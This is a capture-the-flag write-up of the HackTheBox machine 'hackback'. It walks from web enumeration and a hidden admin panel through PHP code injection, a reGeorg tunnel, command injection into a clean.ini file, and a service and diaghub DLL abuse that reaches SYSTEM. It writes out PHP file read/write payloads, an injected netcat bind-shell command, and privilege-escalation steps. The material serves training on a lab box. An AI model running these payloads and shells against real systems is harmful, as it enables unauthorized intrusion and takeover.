The initial scan shows the following open ports:
80/tcp open http Microsoft IIS httpd 10.0 6666/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 64831/tcp open ssl/unknown
On port 80 nothing interesting can be found after checking manually and using gobuster for a while, which leaves us with port 6666 and 64831. On 6666 we are greeted with the line “Missing Command!” which indicates we can somehow issue commands here. Playing around manually with it reveals that it accepts commands as part of the url, we run
http://hackback.htb/help and get the following result:
The various commands show a lot of information about the host, but ultimately don’t lead to anything exploitable. On Port 64831 we find an instance of gophish running, a popular framework for phishing campaigns. We can log into it with the default credentials
admin:gophish, where we can could create phishing campaigns ourselves. Unfortunately the box is not running a mailserver though and does not allow us to specify an external mailserver, so that the actual phishing can not happen. Looking at the existing data shows that some mail templates have been configured:
This is interesting because there should be some phishing landing pages for mails setup but we can not see any inside the gophish application. Adding the mentioned sites to our
/etc/hosts in the format
www.hackthebox.htb however reveals that they do actually exist:
When we enter some made up credentials we can not see them inside the gophish application - this must mean that they go somewhere else, to a location we don’t know about yet at this point. To see what else could be on the server I run gobuster versus port 64831 and also its dns mode
gobuster -m dns -w ~/tools/SecLists/Discovery/DNS/subdomains-top1mil-5000.txt -u hackback.htb to discover more subdomains, which reveals a new subdomain: admin.hackback.htb:
Looking at the source of the page shows that the actual form is just a decoy and is not doing anything, however we notice that it contains this line:
<!-- <script SRC="js/.js"></script> -->
wfuzz --hc 404 -w ~/tools/SecLists/Discovery/Web-Content/raft-small-words.txt admin.hackback.htb/js/FUZZ.js
ine n=['\k57\k78\k49\k6n\ and there is no
ine keyword in the language specification. Since it is pretty obvious that this must be
var instead we notice that it is rot13 “encrypted”, which we remove by pasting it into a (decoder)[https://cryptii.com/pipes/rot13-decoder].
document.write(x+z+h+y+t+s+i+k+w);) at the end to dump the variables, resulting in the following output:
Secure Login Bypass Remember the secret path is 2bb6916122f1da34dcd916421e531578 Just in case I loose access to the admin panel?action=(show,list,exec,init)&site=(twitter,paypal,facebook,hackthebox)&password=********&session=Nothing more to say
/2bb6916122f1da34dcd916421e531578/webadmin.php?action=list&site=hackthebox&password=admin&session=<id> gives us the error “wrong secret key!” so the password is probably something we have to find out. Using wfuzz we quickly learn that password is “12345678” and using the same url with the new password results in some listing:
Array (  => .  => ..  => 1a217fe8f0a4694ef899b1a33fd7b6661fc849abb9cdd1e1ebc426346d8dda3b.log  => e691d0d9c19785cf4c5ab50375c10d83130f175f7f89ebd1899eee6a7aab0dd7.log )
We assume this is the log files of the actual phishing data that is collected when some victim enters their credentials at the phishing site, in this case “www.hackthebox.htb”. Calling
action=show displays the actual entries in the log, while calling
init wipes the log file clean. I could not get the
exec command working and as it turned out later - it wasn’t actually doing anything anyway and just including for trolling purposes.
We can exploit the whole thing by entering php data into the username field on the phishing site and the trigger the execution by calling
action=show. However a lot of php functions are disabled in php.ini, so this limits us to some basic functionality. What is allowed is to use
file_get_contents to read files and
file_put_contents to write files.
<?php $file = file_get_contents('<path>');echo $file;?>
<?php print_r(scandir(".")); ?>
<?php $f = '<content>'; file_put_contents('<filename>', base64_decode($f));?>
By enumerating the box a bit with the read and list methods we find credentials in a file called “web.config.old”: “simple:ZonoProprioZomaro:-(“. Other files of interest could not be found at this point.
My initial thought at this point was to write an aspx shell to disk and call it, hoping it wouldn’t have the same restrictions as php, but I couldn’t get any aspx shell to either. From the service on port 6666 we can issue a netstat command on the machine and see that winrm port 5985 is open on localhost. This means if we could somehow tunnel our traffic to localhost we can login with the user we found! Turns out there is a aspx tunnel script called (reGeorg)[https://github.com/sensepost/reGeorg] that accomplishes exactly this! So i upload the tunnel.aspx script from reGeorg to the host via
file_put_contents and start it with:
sudo python reGeorgSocksProxy.py -p 10000 -u http://admin.hackback.htb/2bb6916122f1da34dcd916421e531578/tunnel.aspx
Which opens a socks proxy we can connect to on localhost:10000. To use the proxy we add the line
socks4 127.0.0.1 10000 to “/etc/proxychains.conf” to use the new socks proxy. This allows us to connect to winrm with the found credentials (I used the winrm ruby shell from alamot):
Sadly there is no user flag at this point which means additional steps are involved in getting there. Enumerating some more we find “c:\util\scripts\log.txt” which has a time stamp in it that shows a very recent time. It turns out this is changing every few minutes so we have something running periodically. We see in “clean.ini” in the same folder, that “log.txt” is referenced:
[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt Directory=c:\inetpub\logs\logfiles
We assume that some script is using “clean.ini”, which we have write access to, to write to “log.txt”. Trying various injections we eventually find that we can append any command to the LogFile row in “clean.ini”:
[Main] LifeTime=100 LogFile=c:\util\scripts\log.txt & whoami Directory=c:\inetpub\logs\logfiles
This means we can get any binary executed as user hacker! We use winrm to upload a 64 bit nc.exe to “c:\windows\system32\spool\drivers\color” and edit “clean.ini” to spawn a shell:
echo '[Main]' > c:\util\scripts\clean.ini echo 'LogFile=c:\util\scripts\log.txt & c:\windows\system32\spool\drivers\color\nc64.exe -lvp 10000 -e cmd.exe' >> c:\util\scripts\clean.ini echo 'Directory=c:\projects' >> c:\util\scripts\clean.ini
One thing that did cost me a lot of time here is that it is absolutely required to use a 64-Bit version of nc.exe. While the 32-Bit version does work in principle, it hides certain files from you which makes rooting extremely hard.
Connecting to the shell via our socks proxy we can now read “user.txt”.
After a lot of enumerating we eventually check the registry for running services and find an unusual one called “userlogger”:
Checking the available information about it, we see that it runs as local system and is startable and stoppable by hacker - perfect. As we do not know what it actually does we download the file to a windows test vm, install it as a service and watch its behavior in sysinternals process monitor:
We can see it creating a logfile in C:\Windows\Temp that contains the string “no log file specified”, which means we must be able to specify a log file when starting the service. Running it again with a path as argument we can see that it writes to the path we told it to. Checking the permissions of the specified file we can see that it is now has: Everyone (F). This is a huge as it means we can make any file local system has access to readable and writable by everyone! One problem that remains is that the userlogger executable appends “.log” to the file we specify. We can bypass this by using “:” to mark the start of an alternate datastream (ads) which leads to the “.log” part not being appended to the regular filename but instead being appended as ads.
My first instinct here is to make the root flag readable and get the flag, however that didn’t work out. The root flag can be made readable by
sc start userlogger C:\users\administrator\desktop\root.xt, however because we miss folder permissions (?) we can not actually read it.
Looking for things that can help here I eventually found this blogpost from google project zero, which mentions that the “Microsoft (R) Diagnostics Hub Standard Collector Service” (diaghub) can be used to load an arbitrary dll from system32. Diaghub registers a DCOM object, to which we have to learn to to talk to in order to exploit this to load an own dll. Remember the reason this whole topic makes sense is that we can write arbitrary files to system32 now with userlogger which potentially allows us to write a dll there and then load it with diaghub.
I made a separate, short post about how to exploit this here. So now that we know how to exploit it we can execute the actual attack:
- overwrite license.rtf with our custom dll
sc start userlogger c:\windows\system32\license.rtf
copy custom.dll c:\windows\system32\license.rtf
- call the diaghub exploit in order to load the dll
This will throw some error because we didn’t bother to implement the interface diaghub expects but it doesn’t matter because the shell has been opened!
What is left to do is connect via socks proxy to the new shell and read the root flag. Unfortunately there is some trolling involved:
We can see however that there is another file besides it and that the flag must be hidden in the alternate datastream, which we can read with
more < root.txt:flag.txt:$DATA. This concludes this awesome box! Many thanks to @decoder_it and @yuntao_it for creating it.